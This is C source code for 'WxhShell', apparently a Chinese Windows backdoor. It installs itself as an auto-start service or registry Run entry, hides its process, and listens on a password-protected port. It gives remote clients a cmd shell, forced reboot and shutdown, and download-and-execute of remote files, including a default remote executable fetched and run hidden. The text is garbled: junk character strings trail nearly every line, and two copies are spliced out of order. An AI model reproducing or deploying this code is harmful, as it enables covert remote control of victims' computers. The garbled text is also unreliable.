  case 'd': { 4 tXSYHd3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1;&;5  
    if(Boot(SHUTDOWN)) 'r+PH*Mr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KJh,,xI>by  
    else { mm[SBiFO\  
    closesocket(wsh); _+w/ pS`M  
    ExitThread(0); %f&< wC  
    } .Q&rfH3  
    break; :0 ^s0l  
    } 5j^NV&/_  
  // 获取shell V 0{tap}  
  case 's': { w([$@1]  
    CmdShell(wsh); sR=/%pVN  
    closesocket(wsh);  k0H#:c}  
    ExitThread(0); z.)p P'CJo  
    break; P<;7j?  
  } n56;m`IU  
  // 退出 I*\^,ow  
  case 'x': { ml u 3K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~ 3T,&?r  
    CloseIt(wsh); &L4 q10-N  
    break; J]pa4C`  
    } lKV"Mh+6  
  // 离开 ULBg {e?l8  
  case 'q': { UQT'6* !  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .q;ED`G  
    closesocket(wsh); Hl7:*]l7b  
    WSACleanup(); 0ys~2Y!eH  
    exit(1); :&VcB$  
    break; O}Le]2'  
        } w'ybbv{c  
  } =AOWeLk*G  
  } Xl%0/ o  
IFuZ]CBz  
  // 提示信息 H:S,\D?%2x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c3xl9S,5  
} H+Z SPHs  
  } =_pwA:z"A  
r;qzo .  
  return; p!W[X%`)  
} z?ucIsbR  
y' xF0  
// shell模块句柄 uS5o?fg\e  
int CmdShell(SOCKET sock) w+AuMc  
{ BW Uq%o,@g  
STARTUPINFO si; g]$ 4~"|.  
ZeroMemory(&si,sizeof(si)); cF+ X,]=6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '$m7ft}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; svhrf;3:  
PROCESS_INFORMATION ProcessInfo; rPiNv 30L  
char cmdline[]="cmd"; \7Cg,Xn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `l]j#qshTm  
  return 0; ~&VN_;j_  
} v}uJtBG(  
&__DJ''+  
// 自身启动模式 /"#4T^7&  
int StartFromService(void) (ku5WWJ  
{ I6w~H?ul@*  
typedef struct B)=~8wsI:Z  
{ ($!KzxF3  
  DWORD ExitStatus; rVryt<2:@r  
  DWORD PebBaseAddress; ZX.TqvK/r  
  DWORD AffinityMask; XZph%j0o  
  DWORD BasePriority; sbsu(Sz+  
  ULONG UniqueProcessId; V1bh|+o9  
  ULONG InheritedFromUniqueProcessId; |V&G81sM  
}   PROCESS_BASIC_INFORMATION; 1dG06<!  
B~gV'(9g  
PROCNTQSIP NtQueryInformationProcess; yTAvF\s$(  
hWEnn=BW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H{`{)mS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $k 2)8#\  
[*Ju3  
  HANDLE             hProcess; dcq#TBo8  
  PROCESS_BASIC_INFORMATION pbi; Q~,YbZ-7  
hR)2xz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jBtj+ TL8  
  if(NULL == hInst ) return 0; Dy9\O77>  
clDHTj=~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M]EsS^/X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )pgrl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `y!/F?o+!  
>-cfZ9{!  
  if (!NtQueryInformationProcess) return 0; f~M8A.  
kU*{4G|6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0Xl%uF+w  
  if(!hProcess) return 0; \cySWP[  
e>H:/24  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q GPw2Q  
;4~U,+Av  
  CloseHandle(hProcess); <+]f`c*Z  
q&si%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _PXdzeI.  
if(hProcess==NULL) return 0; 3C^1f rF  
~!:0iFE&H  
HMODULE hMod; \ L]|-f(4  
char procName[255]; <$Yi]ty  
unsigned long cbNeeded; 2V gP  
j F5Blc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (.X]F_ *sc  
=nxKttmU0  
  CloseHandle(hProcess); tJD] (F  
k`YYZt]@  
if(strstr(procName,"services")) return 1; // 以服务启动 ]n v( aM?d  
tS?lB05TOR  
  return 0; // 注册表启动 5vOCCW  
} T0e<Slo~C  
ST',4 Oph5  
// 主模块 $& {IKP)u  
int StartWxhshell(LPSTR lpCmdLine) *y7 $xa4  
{ Y94MI1O5$  
  SOCKET wsl; H%i>L?J2/  
BOOL val=TRUE; yI8tH!  
  int port=0; Oh!(@  
  struct sockaddr_in door; iS: #o>  
P%>?[9!Nt  
  if(wscfg.ws_autoins) Install(); v,1F-- v  
9]yW_]P  
port=atoi(lpCmdLine); CjZ2z%||=  
rY}B-6qJn  
if(port<=0) port=wscfg.ws_port; b`~wG e  
+!O- kd  
  WSADATA data;  .5Z_E O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /L~m#HxWU  
hC<14  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H{zPft  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :7b-$fm  
  door.sin_family = AF_INET; 1/iE`Si  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cf;Ht^M\  
  door.sin_port = htons(port); AtHS@p  
uofLhy!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f(Hu {c5yV  
closesocket(wsl); +=fKT,-*G!  
return 1; i/qTFQst _  
} JOfV]eCL  
k W-81  
  if(listen(wsl,2) == INVALID_SOCKET) { FC>d_=V  
closesocket(wsl); #g v4  
return 1; {NQo S"  
} 49h0^;xlo:  
  Wxhshell(wsl); ef]B9J~h  
  WSACleanup(); w6zB Vi  
?U9/fl  
return 0; lOerrP6f(  
bhg}-dto  
} 2{o10 eL  
z hsx &  
// 以NT服务方式启动 `deY i2z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R]L2(' B  
{ [ ]p"3 i  
DWORD   status = 0; a6nlt? 1?D  
  DWORD   specificError = 0xfffffff; 5P ke8K  
32>x^>G=>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _l&ucA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `wO}Hz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7 .+al)hl  
  serviceStatus.dwWin32ExitCode     = 0; v59nw]'  
  serviceStatus.dwServiceSpecificExitCode = 0; .W.;~`EW  
  serviceStatus.dwCheckPoint       = 0; }~I|t!GL  
  serviceStatus.dwWaitHint       = 0; |*\C{b  
'}{?AUDx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u-><}OVf~  
  if (hServiceStatusHandle==0) return; >BoSw&T$Q  
ecFi (eMD  
status = GetLastError(); ~@9zil41  
  if (status!=NO_ERROR) >FFVY{F  
{ 4rp6 C/i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /lH'hcXcX  
    serviceStatus.dwCheckPoint       = 0; T.Zz;2I  
    serviceStatus.dwWaitHint       = 0; n0fRu`SNV  
    serviceStatus.dwWin32ExitCode     = status; JAP (|  
    serviceStatus.dwServiceSpecificExitCode = specificError; jD9lz-Y@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uxDLDA$;  
    return; a$}6:E  
  } |uUuFm  
i21QJ6jPcI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +/N1_  
  serviceStatus.dwCheckPoint       = 0; {;n0/   
  serviceStatus.dwWaitHint       = 0; DY3:#X`4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n|KKby.$  
} qgexb\x\4  
>oY^Gx  
// 处理NT服务事件,比如:启动、停止 0XIxwc0Iw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W~dE  
{ 08r[K(bfb,  
switch(fdwControl) RVF F6N^  
{ R^tcr)(  
case SERVICE_CONTROL_STOP: fVUKvZ}P*  
  serviceStatus.dwWin32ExitCode = 0; L@A9{,9Pl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s]x2DH+_  
  serviceStatus.dwCheckPoint   = 0; j|4tiv>  
  serviceStatus.dwWaitHint     = 0; |- OHve4A  
  { x# 8IZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h48 bb.p2  
  } E .;io*0  
  return; F#1kZ@nq  
case SERVICE_CONTROL_PAUSE: {B^pnLc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kI+b <$:D  
  break; Qp+lJAY  
case SERVICE_CONTROL_CONTINUE: q/'MS[C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v" FO  
  break; yJJ8 "s~i  
case SERVICE_CONTROL_INTERROGATE: X_?%A54z?  
  break; az bUc4M  
}; SLh~_ 5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e "_"vbk  
} 9 z*(8d  
0w}{(P;  
// 标准应用程序主函数 ]h8/M7k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L>:FGNf^H  
{ jt%WPkY:  
"1%*'B^}bw  
// 获取操作系统版本 cYD1~JX.  
OsIsNt=GetOsVer(); n/-N;'2J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {6tx,;r(F  
W-XN4:,qI  
  // 从命令行安装 8A_TIyh?  
  if(strpbrk(lpCmdLine,"iI")) Install(); llqDT-cp  
Tw}z7U"  
  // 下载执行文件 R `Q?J[e  
if(wscfg.ws_downexe) { u'Pn(A@1R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jl@K!=q  
  WinExec(wscfg.ws_filenam,SW_HIDE); /Mx CvEE  
} h@Dw'w  
W_D%|Ub2X  
if(!OsIsNt) { C~_q^fXJt  
// 如果时win9x,隐藏进程并且设置为注册表启动 ee\Gl?VN  
HideProc(); YiNo#M91  
StartWxhshell(lpCmdLine); c#x7N9;"!  
} @`2ozi~lO  
else ] - h|]  
  if(StartFromService()) c}\ d5R_L  
  // 以服务方式启动 -;S3|  
  StartServiceCtrlDispatcher(DispatchTable); F]SIT\kBm  
else 4^BLSK~(  
  // 普通方式启动 skSNzF7'  
  StartWxhshell(lpCmdLine); `#<eA*^g5  
0k7"H]J  
return 0; C=EhY+5  
} 8fEAYRGd  
c0hdLl;5  
eo]a'J9(  
x"!#_0TT}  
=========================================== GiFf0c 9  
#PPsRKj3c  
98ayA$  
uTUa4 ^]*  
cnYYs d{  
C }bPv +t  
" {{GHzW  
DW4MA<UQ  
#include <stdio.h> ls]Elo8h1f  
#include <string.h> >:fJhF@  
#include <windows.h> ]q37Hj  
#include <winsock2.h> N~0$x,bR  
#include <winsvc.h> B~e7w 4  
#include <urlmon.h> su%Z{f)#  
_"`uqW79  
#pragma comment (lib, "Ws2_32.lib") Z#[>N,P  
#pragma comment (lib, "urlmon.lib") v@]6<e$  
uvNnW}G4  
#define MAX_USER   100 // 最大客户端连接数 H|x k${R`  
#define BUF_SOCK   200 // sock buffer W *|OOa'  
#define KEY_BUFF   255 // 输入 buffer Je@p5(f  
s}<)B RZi  
#define REBOOT     0   // 重启 B##C{^5A`  
#define SHUTDOWN   1   // 关机 P'gT6*an,"  
<"{+  
#define DEF_PORT   5000 // 监听端口 5auL<Pq   
}]Qmt5'NI  
#define REG_LEN     16   // 注册表键长度 >DkN+S  
#define SVC_LEN     80   // NT服务名长度 bmSpbX\  
<w%Yq?^  
// 从dll定义API sCL/pb]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yoj~|qL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 18J.vcP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JJ*0M(GG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XC 57];-  
U8Cw7u2  
// wxhshell配置信息 P=}H1 #  
struct WSCFG { zl,bMtQ  
  int ws_port;         // 监听端口 rZb_1E<  
  char ws_passstr[REG_LEN]; // 口令 l6yB_ M  
  int ws_autoins;       // 安装标记, 1=yes 0=no U3(L.8(sA  
  char ws_regname[REG_LEN]; // 注册表键名 )sMAhk|  
  char ws_svcname[REG_LEN]; // 服务名 AW]("pt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IZzhJK M1V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wV]sGHuF}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hVROzGZk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }u38:(^`ai  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^?81.b|qb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \E>%W  
tOu90gu  
}; mw2rSUI{  
=kyJaT^5[  
// default Wxhshell configuration O[3q9*(  
struct WSCFG wscfg={DEF_PORT, a-SB1-5jf  
    "xuhuanlingzhe", -zkW\O[  
    1, 1nw$B[  
    "Wxhshell", iW1$!l>v  
    "Wxhshell", uQXs>JuD  
            "WxhShell Service", \5j22L9S  
    "Wrsky Windows CmdShell Service", Q'>_59  
    "Please Input Your Password: ", hCSR sk3  
  1, W ??;4  
  "http://www.wrsky.com/wxhshell.exe", 2{ jtQlc  
  "Wxhshell.exe" iA5* _tK5  
    }; 1gf/#+$\  
w}]3jc84  
// 消息定义模块 n-L]YrDPK[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K gR1El. r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HCfS)`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hqwz~Ky}  
char *msg_ws_ext="\n\rExit."; 3ZT/>a>@  
char *msg_ws_end="\n\rQuit."; 0e[ tKn(  
char *msg_ws_boot="\n\rReboot..."; L|dab {9  
char *msg_ws_poff="\n\rShutdown..."; WW,r9D:/  
char *msg_ws_down="\n\rSave to "; \" 5F;J  
!nZI? z;  
char *msg_ws_err="\n\rErr!"; a3DoLq"/  
char *msg_ws_ok="\n\rOK!"; W]C_oh  
LRfFn^FPM  
char ExeFile[MAX_PATH]; /It.>1~2@  
int nUser = 0; FE^?U%:u@  
HANDLE handles[MAX_USER]; D0,oml  
int OsIsNt; }bj,&c  
)w3XN A_V  
SERVICE_STATUS       serviceStatus; i2\\!s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &kmd<  
+dPE!:  
// 函数声明 OsHkAI  
int Install(void); {VrAh*#h  
int Uninstall(void); ~7eUt^SD;  
int DownloadFile(char *sURL, SOCKET wsh); }lr fO_  
int Boot(int flag); s%0[DO3NV  
void HideProc(void); 6+{nw}e8  
int GetOsVer(void); ~CjmYP'o  
int Wxhshell(SOCKET wsl); #lLn='4  
void TalkWithClient(void *cs); 4Tbi%vF{  
int CmdShell(SOCKET sock); q=j/s4~  
int StartFromService(void); SWe!9Y$  
int StartWxhshell(LPSTR lpCmdLine); :&\E\9  
ocDVCCkxg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !X#3w-K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PgGrk5;  
e!L sc3@  
// 数据结构和表定义 )PLc+J.I  
SERVICE_TABLE_ENTRY DispatchTable[] = "pKGUM  
{ "' i [~  
{wscfg.ws_svcname, NTServiceMain}, UJyiRP:#]>  
{NULL, NULL} b(.o|d/P  
}; 0B!mEg  
;Wp`th!F  
// 自我安装 5 p(t")  
int Install(void) s$3eJ|  
{ AyI}LQm]u  
  char svExeFile[MAX_PATH]; S^sW.(I  
  HKEY key; AS/\IHZ\  
  strcpy(svExeFile,ExeFile); ?8aWUgl  
R'$ T6FB5  
// 如果是win9x系统,修改注册表设为自启动 ` wsMybe#  
if(!OsIsNt) { tpy :o(H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ES2d9/]p-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [{d[f|   
  RegCloseKey(key); - KoA[UJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o<eWg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x]jdx#'  
  RegCloseKey(key); *T}dv)8  
  return 0; 6nhfI\q3wY  
    } V~%WKQ  
  } Q& unA3  
} bvxxE/?Ni  
else { _sD]Viqc  
3M>FU4Ug2  
// 如果是NT以上系统,安装为系统服务 Y-q,Ovf!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !WVabdt  
if (schSCManager!=0) MHzsxF|  
{ c#4ZDjvm6  
  SC_HANDLE schService = CreateService w7]p9B  
  ( "e!$=;5  
  schSCManager, ~wd?-$;070  
  wscfg.ws_svcname, @"#gO:|[i0  
  wscfg.ws_svcdisp, p Z|nn  
  SERVICE_ALL_ACCESS, ,"lBS?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1:~m)"?I_^  
  SERVICE_AUTO_START, p<^/T,&I  
  SERVICE_ERROR_NORMAL, 1(\I9L&J   
  svExeFile, MCO$>QL  
  NULL, :_b =Km<  
  NULL, 'E6gEJ  
  NULL, xhoLQD  
  NULL, H2t pP~!G  
  NULL c Dh4@V  
  ); 5)zj){wL  
  if (schService!=0) H1c|b !C  
  { H9a3 rA>  
  CloseServiceHandle(schService); WFc[F`b  
  CloseServiceHandle(schSCManager); }5c'ui!3H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eVNBhR}HS  
  strcat(svExeFile,wscfg.ws_svcname); t1_y1!u Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =dw*B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "8Wc\YDh  
  RegCloseKey(key); _ZE$\5>-  
  return 0; 0kr& c;~  
    } sp]y!zb"5  
  } ]NhWhJ:  
  CloseServiceHandle(schSCManager); \crb&EgID  
} Kd|l\k!  
} sOtNd({  
#__'U6`(  
return 1; #(wz l  
} /iJhCB[QZ  
K &~#@I;  
// 自我卸载 >j~70 ?  
int Uninstall(void) 5'L}LT8p@  
{ LYo7?rp  
  HKEY key; F v^80M=z  
a\j\eMC  
if(!OsIsNt) { Q~8&pP8 I!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -<^Q2]PE;  
  RegDeleteValue(key,wscfg.ws_regname); )k<~}wvQ0  
  RegCloseKey(key); 0JWD] "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :usBeho  
  RegDeleteValue(key,wscfg.ws_regname); i{RS/,h4  
  RegCloseKey(key); (HD>vNha1  
  return 0; 9%'HB\A  
  } uN^qfJ'@ >  
} 4]Nr$FY  
} ,OFr]74\  
else { kFs kn55  
oUS>p":  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OL+40J  
if (schSCManager!=0) P\4o4MF@K  
{ 3 AF]en  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bM_(`]&*  
  if (schService!=0) f9bz:_;W_  
  { PSw+E';  
  if(DeleteService(schService)!=0) { a^1c _  
  CloseServiceHandle(schService); j`pR;XL1[  
  CloseServiceHandle(schSCManager); I%WK*AORM  
  return 0; s3%8W==rBW  
  } fmN)~-DV9`  
  CloseServiceHandle(schService); &_^<B7aC'k  
  } 6df&B .gg  
  CloseServiceHandle(schSCManager);  jmNj#R@t  
} Qz$Dv@*y\  
} wx 'Tv  
c324@o^V  
return 1; DfFPGFv  
} #IwB  
2= mD  
// 从指定url下载文件 4V3 w$:,  
int DownloadFile(char *sURL, SOCKET wsh) -+Dvyr  
{ LX&P]{q KS  
  HRESULT hr; N!~NQ-Re'  
char seps[]= "/"; $yK!Q)e:  
char *token; 9m9=O&C~-<  
char *file; ]V("^.~$+C  
char myURL[MAX_PATH]; m?`Rl6!@8\  
char myFILE[MAX_PATH]; pa73`Ca]  
*s4!;2ZhsU  
strcpy(myURL,sURL); Ol0|)0  
  token=strtok(myURL,seps); Q^Z}Y~.  
  while(token!=NULL) .AW*7Pp`f  
  { }d]8fHG  
    file=token; wpI4P:  
  token=strtok(NULL,seps); 8;NO>L/J]i  
  } {`zF{AW8q  
PSE| 4{'  
GetCurrentDirectory(MAX_PATH,myFILE); xxn&{\ ?  
strcat(myFILE, "\\"); O~xmz!?=  
strcat(myFILE, file); *p!dd?8  
  send(wsh,myFILE,strlen(myFILE),0); ge8zh/`  
send(wsh,"...",3,0); ?O ?~|nI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t}gqk'  
  if(hr==S_OK) Q[KR,k  
return 0; x"80c(i  
else KJfyh=AD(  
return 1; 0xcqX!(  
PBv43uIL  
} xw H`alu  
uNg.y$>CX  
// 系统电源模块 9@B+$~:}7  
int Boot(int flag) d:''qgz`  
{ T5;D0tM/  
  HANDLE hToken; AK =k@hT  
  TOKEN_PRIVILEGES tkp; iH=@``Z  
bwFc>{Wo5  
  if(OsIsNt) { RI;RE/Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KRe=n3 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `-\ "p;Hp0  
    tkp.PrivilegeCount = 1; 5ntP{p%>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b1 cd5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )f rtvN7  
if(flag==REBOOT) { y;jyfc$ `  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '3VrHL@@g  
  return 0; /<Et   
} Gov{jksr  
else { IM/\t!*7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'z'm:|JW  
  return 0; th)jEK;Z  
} AF-.Nwp   
  } `39U I7  
  else { o_n.,=/cZ  
if(flag==REBOOT) { K3^2R-3:8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dp"w=~53  
  return 0; `L>'9rbZO  
} ceCshxTU  
else { b4wJnmC8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :xV&%Qa1  
  return 0; Su7?-vY  
}  lzuZv$K  
} HChewrUAn  
7d*<'k]{,  
return 1; s7?kU3 y=s  
} ~6nQ-  
N_0O"" d  
// win9x进程隐藏模块 GZw<Y+/V"5  
void HideProc(void) wkGF&U  
{ ?8 F7BS4oQ  
Yq_zlxd%F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~gc)Ww0(Q  
  if ( hKernel != NULL ) {~"=6iyj  
  { }!LYV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P,wJ@8lv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0)NHjKP  
    FreeLibrary(hKernel); l?q^j;{Dw  
  } P dJ*'@~i  
^:#%TCJ  
return; pLU>vQA  
} F\e'z  
QbWD&8T0O  
// 获取操作系统版本 &,/T<V  
int GetOsVer(void) @'<|B. f  
{ 82vx:*Ip!}  
  OSVERSIONINFO winfo; UgP5^3F2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /d4xHt5a  
  GetVersionEx(&winfo); P<hqr;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -~q]0>  
  return 1; o\#C] pp  
  else uP$K{ )  
  return 0; -h_v(s2  
} #E1*1E  
5c#L6 dA)  
// 客户端句柄模块 b} *cw2  
int Wxhshell(SOCKET wsl) +CkK4<dF  
{ q )[g VL  
  SOCKET wsh; 9&tV#=s  
  struct sockaddr_in client; J}x5Ko@  
  DWORD myID; |z~?"F6 Y<  
:97`IV%  
  while(nUser<MAX_USER) T2d pn%I  
{ O6pjuhMx  
  int nSize=sizeof(client); H{BjxZ~)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %lPP1 R  
  if(wsh==INVALID_SOCKET) return 1; DM&"oa50  
#FcYJH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CeQcnJU  
if(handles[nUser]==0) !>tXib]:  
  closesocket(wsh); .^uu* S_  
else (<CLftQKg  
  nUser++; ~(8A&!#,!  
  } mf3G$=[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !EFd- fk  
Rq 7ksTo  
  return 0; "hvw2lyp3  
} ZFzOW  
=mZw71,  
// 关闭 socket /vMpSN|3  
void CloseIt(SOCKET wsh) c2C8}XJ|O  
{ g#AA.@/Z  
closesocket(wsh); ~AO0(Lp  
nUser--; | ] YT6-?.  
ExitThread(0); (xTHin$  
} R Q 8okA  
/~yqZD<O  
// 客户端请求句柄 &jJgAZ!  
void TalkWithClient(void *cs) q\,H9/.0k  
{ ,wV2ZEW}e  
^Ni)gm{?k  
  SOCKET wsh=(SOCKET)cs; V)]&UbEL|  
  char pwd[SVC_LEN]; | @YN\g K;  
  char cmd[KEY_BUFF]; 7XY C.g  
char chr[1]; YJ9_cA'A  
int i,j; 5E@V@kw  
qg O)@B+  
  while (nUser < MAX_USER) { ofSOy1  
6f?DW-)jp/  
if(wscfg.ws_passstr) { exhF5,AW|K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qhr:d`@^]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4k#6)e  
  //ZeroMemory(pwd,KEY_BUFF); }vi%pfrB  
      i=0; C@[:}ZGMV  
  while(i<SVC_LEN) { __9673y  
8,R]R=  
  // 设置超时 *w _j;  
  fd_set FdRead; 1/i|  
  struct timeval TimeOut; 'L,rJ =M3  
  FD_ZERO(&FdRead); yZ 9 *oDs  
  FD_SET(wsh,&FdRead); OLi;/(g  
  TimeOut.tv_sec=8; f|`{P P`\  
  TimeOut.tv_usec=0; YGHWO#!Gp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2PC4EjkC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gk&?h7P"<  
B8PF}Mf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Kl;iY:n  
  pwd=chr[0]; 8P*n|]B.'  
  if(chr[0]==0xd || chr[0]==0xa) { S HvML  
  pwd=0; zx!1jS  
  break; i{8=;  
  } z}&<D YD  
  i++; eQc!@*:8U  
    } e nNn*.*|  
N*xgVj*  
  // 如果是非法用户,关闭 socket ^;2L`U@5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }$o%^ "[  
} 8(A:XQN"h  
'Go'87+`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i2*nYd`K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /L~*FQQK>  
Ne[O9D 7  
while(1) { $xl*P#  
" JRlj  
  ZeroMemory(cmd,KEY_BUFF); WULj@ds\~  
$^l=#tV  
      // 自动支持客户端 telnet标准   &a0%7ea`.S  
  j=0; JDP#tA3  
  while(j<KEY_BUFF) { b,'./{c0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VcP#/&B|  
  cmd[j]=chr[0]; l9Vim9R5T  
  if(chr[0]==0xa || chr[0]==0xd) { QZ`<+"a0  
  cmd[j]=0; N@VD-}E  
  break; 5 9X|l&/  
  } 52~k:"c  
  j++; jPd<h{js  
    } pQ>V]M  
q^Z\V?  
  // 下载文件 M|Se| *w  
  if(strstr(cmd,"http://")) { "~;jFB8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QXrK-&fju  
  if(DownloadFile(cmd,wsh)) C]`Y PM5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qN)cB?+  
  else J]N}8 0  
